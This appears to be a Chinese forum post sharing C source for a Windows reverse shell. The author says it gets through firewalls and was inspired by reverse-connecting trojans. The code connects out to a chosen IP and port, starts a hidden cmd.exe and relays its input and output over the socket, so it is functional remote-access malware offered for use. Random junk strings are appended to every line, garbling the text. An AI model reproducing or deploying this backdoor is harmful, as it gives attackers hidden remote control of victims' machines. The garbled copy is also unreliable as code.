Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 /assq+H  
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/* ============================== Ht&:-F+dm  
Rebound port in Windows NT osX8eX]\  
By wind,2006/7 RsY3V=u  
===============================*/ 'qOREN  
#include }x07^4$j  
#include !qM=a3  
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#pragma comment(lib,"wsock32.lib") %nV]ibp2)  
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void OutputShell(); Q+W1lv8R  
SOCKET sClient; LC'{p  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !BOY@$Y  
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void main(int argc,char **argv) R]RZq+2^  
{ \E*d\hrl{  
WSADATA stWsaData; 3%(N[&LU  
int nRet; id2j7|$,  
SOCKADDR_IN stSaiClient,stSaiServer; F7O(Cy"1  
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if(argc != 3) CTZh0x  
{ U qFv}VsnF  
printf("Useage:\n\rRebound DestIP DestPort\n"); "saUai4z  
return; \xnWciQ#{  
} Is{KN!Hw  
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WSAStartup(MAKEWORD(2,2),&stWsaData); L 8dc(Z%v  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,I%g|'2  
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stSaiClient.sin_family = AF_INET; <cqbUL  
stSaiClient.sin_port = htons(0); A*}.EClH  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P dhEQ}H  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BA%pY|"Q  
{ --|Wh^i>?  
printf("Bind Socket Failed!\n"); WYEKf9}  
return; k6sI L3QJ0  
} 3G`aHTWk  
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stSaiServer.sin_family = AF_INET; _YLfL  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lna}@]oR  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >76\nGO  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) OeS\7  
{  ng_^  
printf("Connect Error!"); Ns7(j-  
return; Q2F+?w;,  
} o'f?YZ$.  
OutputShell(); {:]9Q Tq  
} A.EbXo/  
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void OutputShell() JAQb{KefdO  
{ "6us#T  
char szBuff[1024]; 9+{G8$Ai  
SECURITY_ATTRIBUTES stSecurityAttributes; S=e{MI  
OSVERSIONINFO stOsversionInfo; O"c;|zCc>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y6[IfcN  
STARTUPINFO stStartupInfo; "F.;Dv9V[0  
char *szShell; .R./0Ot tx  
PROCESS_INFORMATION stProcessInformation; OG~6L4"  
unsigned long lBytesRead; <F`>,Pm  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z2QP)150  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -1UD0(  
stSecurityAttributes.lpSecurityDescriptor = 0; D-4f >  
stSecurityAttributes.bInheritHandle = TRUE; :]^P1sH[  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~XWQhIAM4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lJis~JLd`  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ] 0B2# d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t-0a7 1#e  
stStartupInfo.wShowWindow = SW_HIDE; -< &D  
stStartupInfo.hStdInput = hReadPipe; L&%s[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; INi
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GetVersionEx(&stOsversionInfo); -U/c\-~fU  
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switch(stOsversionInfo.dwPlatformId) +(1zH-^.  
{ )XzI #iQ  
case 1: <\}KT*Xp  
szShell = "command.com"; HP3lz,d  
break; zN"J}r:  
default: P)MDPI+~  
szShell = "cmd.exe"; 7U2J xE  
break; Ooq! 0g  
} Bb}fj28  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HFaj-~b  
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send(sClient,szMsg,77,0);
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while(1) 5&q8g;XiEM  
{ vDxe/x%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B9H@e#[  
if(lBytesRead) .sj^{kGE  
{ d BJJZ^(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U2wbvXr5-  
send(sClient,szBuff,lBytesRead,0); L"j tf78  
} < !dqTJos  
else Hr]h Jc  
{ nw<&3k(g}  
lBytesRead=recv(sClient,szBuff,1024,0); y10h#&k  
if(lBytesRead<=0) break; ~ y;6W0x  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?Vdia:  
} 52,m:EhL  
} 5wh|=**/  
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return; ,]cD  
}